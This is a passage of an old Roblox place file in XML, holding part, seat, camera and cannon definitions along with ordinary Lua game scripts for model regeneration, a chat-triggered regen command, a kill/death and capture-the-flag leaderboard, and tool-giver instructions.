							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-1.381327e-025</X>
							<Y>-1.39748287e-025</Y>
							<Z>-1.381327e-025</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>3.64773725e-020</X>
							<Y>0.00252571423</Y>
							<Z>3.64783064e-020</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>16</X>
							<Y>0.400000006</Y>
							<Z>16</Z>
						</Vector3>
					</Properties>
					<Item class="BlockMesh" referent="RBX348">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX349">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">24</int>
						<CoordinateFrame name="CFrame">
							<X>-1018.5</X>
							<Y>6.20000029</Y>
							<Z>767.5</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-1.381327e-025</X>
							<Y>-1.39748287e-025</Y>
							<Z>-1.381327e-025</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>3.64744128e-020</X>
							<Y>0.00252571423</Y>
							<Z>3.64795891e-020</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>23</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Seat" referent="RBX350">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>-1010</X>
							<Y>5.80000019</Y>
							<Z>735</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>-1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">0</float>
						<float name="FrontParamB">0</float>
						<token name="FrontSurface">6</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Seat</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-1.381327e-025</X>
							<Y>-1.39748287e-025</Y>
							<Z>-1.381327e-025</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>3.64788977e-020</X>
							<Y>0.00252571423</Y>
							<Z>3.64808331e-020</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>4</X>
							<Y>1.20000005</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX351">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>-1017</X>
							<Y>13.2000008</Y>
							<Z>749.5</Z>
							<R00>-1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-1.381327e-025</X>
							<Y>-1.39748287e-025</Y>
							<Z>-1.381327e-025</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.5</float>
						<Vector3 name="Velocity">
							<X>3.6477896e-020</X>
							<Y>0.00252571423</Y>
							<Z>3.64788298e-020</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
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					<X>-1745</X>
					<Y>81.2000046</Y>
					<Z>132.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>17</X>
					<Y>14.4000006</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX882">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>-1729</X>
					<Y>81.2000046</Y>
					<Z>129</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0.5</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>28</X>
					<Y>14.4000006</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Script" referent="RBX883">
			<Properties>
				<bool name="Archivable">true</bool>
				<bool name="Disabled">false</bool>
				<Content name="LinkedSource"><null></null></Content>
				<string name="Name">Script</string>
				<ProtectedString name="Source">print(game.Workspace.Player.ShirtGraphic.Graphic)

--58756820</ProtectedString>
			</Properties>
		</Item>
		<Item class="Script" referent="RBX884">
			<Properties>
				<bool name="Archivable">true</bool>
				<bool name="Disabled">false</bool>
				<Content name="LinkedSource"><null></null></Content>
				<string name="Name">Regen script</string>
				<ProtectedString name="Source">model = game.Workspace.Place
messageText = &quot;Clearing Place&quot;

message = Instance.new(&quot;Message&quot;)
message.Text = messageText
backup = model:clone()

while true do
	wait(120) -- regenerate this model every 35 seconds

	message.Parent = game.Workspace
	model:remove()

	wait(5) -- display regen message for 0 seconds

	model = backup:clone()
	model.Parent = game.Workspace
	model:makeJoints()
	message.Parent = nil
end

</ProtectedString>
			</Properties>
		</Item>
		<Item class="Script" referent="RBX885">
			<Properties>
				<bool name="Archivable">true</bool>
				<bool name="Disabled">false</bool>
				<Content name="LinkedSource"><null></null></Content>
				<string name="Name">WO\KO\CAPTURE</string>
				<ProtectedString name="Source">print(&quot;Leaderboard is succesfully started up!&quot;)

stands = {}
CTF_mode = false


function onHumanoidDied(humanoid, player)
	local stats = player:findFirstChild(&quot;leaderstats&quot;)
	if stats ~= nil then
		local deaths = stats:findFirstChild(&quot;WOs&quot;)
		deaths.Value = deaths.Value + 1


		local killer = getKillerOfHumanoidIfStillInGame(humanoid)

		handleKillCount(humanoid, player)
	end
end

function onPlayerRespawn(property, player)

	
	if property == &quot;Character&quot; and player.Character ~= nil then
		local humanoid = player.Character.Humanoid
			local p = player
			local h = humanoid
			humanoid.Died:connect(function() onHumanoidDied(h, p) end )
	end
end

function getKillerOfHumanoidIfStillInGame(humanoid)

	local tag = humanoid:findFirstChild(&quot;creator&quot;)


	if tag ~= nil then
		
		local killer = tag.Value
		if killer.Parent ~= nil then
			return killer
		end
	end

	return nil
end

function handleKillCount(humanoid, player)
	local killer = getKillerOfHumanoidIfStillInGame(humanoid)
	if killer ~= nil then
		local stats = killer:findFirstChild(&quot;leaderstats&quot;)
		if stats ~= nil then
			local kills = stats:findFirstChild(&quot;KOs&quot;)
			if killer ~= player then
				kills.Value = kills.Value + 1
				
			else
				kills.Value = kills.Value - 1
				
			end
		end
	end
end


-----------------------------------------------



function findAllFlagStands(root)
	local c = root:children()
	for i=1,#c do
		if (c[i].className == &quot;Model&quot; or c[i].className == &quot;Part&quot;) then
			findAllFlagStands(c[i])
		end
		if (c[i].className == &quot;FlagStand&quot;) then
			table.insert(stands, c[i])
		end
	end
end

function hookUpListeners()
	for i=1,#stands do
		stands[i].FlagCaptured:connect(onCaptureScored)
	end
end

function onPlayerEntered(newPlayer)

	if CTF_mode == true then


		local stats = Instance.new(&quot;IntValue&quot;)
		stats.Name = &quot;leaderstats&quot;

		local kills = Instance.new(&quot;IntValue&quot;)
		kills.Name = &quot;KOs&quot;
		kills.Value = 0

		local deaths = Instance.new(&quot;IntValue&quot;)
		deaths.Name = &quot;WOs&quot;
		deaths.Value = 0
             
                local captures = Instance.new(&quot;IntValue&quot;)
                captures.Name = &quot;Captures&quot;
                captures.Value = 0

		kills.Parent = stats
		deaths.Parent = stats
                captures.Parent = stats
		while true do
			if newPlayer.Character ~= nil then break end
			wait(5)
		end

		local humanoid = newPlayer.Character.Humanoid

		humanoid.Died:connect(function() onHumanoidDied(humanoid, newPlayer) end )

		newPlayer.Changed:connect(function(property) onPlayerRespawn(property, newPlayer) end )


		stats.Parent = newPlayer

	else

		local stats = Instance.new(&quot;IntValue&quot;)
		stats.Name = &quot;leaderstats&quot;

		local kills = Instance.new(&quot;IntValue&quot;)
		kills.Name = &quot;KOs&quot;
		kills.Value = 0

		local deaths = Instance.new(&quot;IntValue&quot;)
		deaths.Name = &quot;WOs&quot;
		deaths.Value = 0

		kills.Parent = stats
		deaths.Parent = stats

		while true do
			if newPlayer.Character ~= nil then break end
			wait(5)
		end

		local humanoid = newPlayer.Character.Humanoid

		humanoid.Died:connect(function() onHumanoidDied(humanoid, newPlayer) end )


		newPlayer.Changed:connect(function(property) onPlayerRespawn(property, newPlayer) end )


		stats.Parent = newPlayer

	end

end


function onCaptureScored(player)

		local ls = player:findFirstChild(&quot;leaderstats&quot;)
		if ls == nil then return end
		local caps = ls:findFirstChild(&quot;Captures&quot;)
		if caps == nil then return end
		caps.Value = caps.Value + 1

end


findAllFlagStands(game.Workspace)
hookUpListeners()
if (#stands &gt; 0) then CTF_mode = true end
game.Players.ChildAdded:connect(onPlayerEntered)


</ProtectedString>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX886">
			<Properties>
				<bool name="Anchored">false</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>-1734</X>
					<Y>57.7999992</Y>
					<Z>140.5</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>12</X>
					<Y>1.20000005</Y>
					<Z>5</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Script" referent="RBX887">
			<Properties>
				<bool name="Archivable">true</bool>
				<bool name="Disabled">false</bool>
				<Content name="LinkedSource"><null></null></Content>
				<string name="Name">talk regen</string>
				<ProtectedString name="Source">---Made By CPDUDE435---

model = game.Workspace.Givers --- Change MyModelName to the model&apos;s anme you want to regen (IT CANNOT HAVE CAPS OR SPACES)
backup = model:clone() 

function onChatted(msg, recipient, speaker) 

local source = string.lower(speaker.Name) 
msg = string.lower(msg) 

if (msg == &quot;regen&quot;) then --- Put what you want to say to regen the item between &quot; &quot; (IT CANNOT HAVE CAPS OR SPACES)
model:remove() 
model = backup:clone() 
model.Parent = game.Workspace 
model:makeJoints() 
end 

end 

function onPlayerEntered(newPlayer) 
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end 

game.Players.ChildAdded:connect(onPlayerEntered) 
---Made By CPDUDE435---</ProtectedString>
			</Properties>
		</Item>
		<Item class="Camera" referent="RBX1">
			<Properties>
				<bool name="Archivable">true</bool>
				<Ref name="CameraSubject">null</Ref>
				<token name="CameraType">0</token>
				<CoordinateFrame name="CoordinateFrame">
					<X>-1130.83105</X>
					<Y>14.9558716</Y>
					<Z>629.986816</Z>
					<R00>-0.855013132</R00>
					<R01>0.195474073</R01>
					<R02>-0.480356544</R02>
					<R10>-0</R10>
					<R11>0.926245034</R11>
					<R12>0.376921862</R12>
					<R20>0.518606365</R20>
					<R21>0.322273135</R21>
					<R22>-0.791951656</R22>
				</CoordinateFrame>
				<CoordinateFrame name="Focus">
					<X>-1121.22388</X>
					<Y>7.4173975</Y>
					<Z>645.825928</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Instance</string>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX888">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>-1822.5</X>
					<Y>12.6000004</Y>
					<Z>209</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>57</X>
					<Y>13.2000008</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX889">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Model" referent="RBX890">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Cannon</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Model" referent="RBX891">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">cannon</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="RotateP" referent="RBX892">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="BaseAngle">0.25</float>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">d&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;ng.........you got owned...</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
						</Properties>
					</Item>
					<Item class="Model" referent="RBX893">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Model</string>
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							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">&#229;9001</string>
						<Ref name="Part0">null</Ref>
						<Ref name="Part1">null</Ref>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX936">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Invisible tool giver</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Script" referent="RBX937">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">READ ME FOR INSTRUCTIONS</string>
					<ProtectedString name="Source">--DONT PUT THIS IN ANYTHING IT&apos;S JUST INSTRUCTIONS.
--First Place the &quot;PUT THIS IN THE WEAPON&quot; script in your Weapon or Tool.
--Then place your Weapon or Tool in the &quot;PUT THE WEAPON IN THIS BRICK&quot; brick.

--IMPORTANT (OPTINAL)
--Before doing anything you should put the Weapon or Tool in the giver where you want it.</ProtectedString>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX938">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>-6</X>
					<Y>13.4000025</Y>
					<Z>89</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>28</X>
					<Y>13.2000008</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX939">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>-33.5</X>
					<Y>13.4000015</Y>
					<Z>74</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
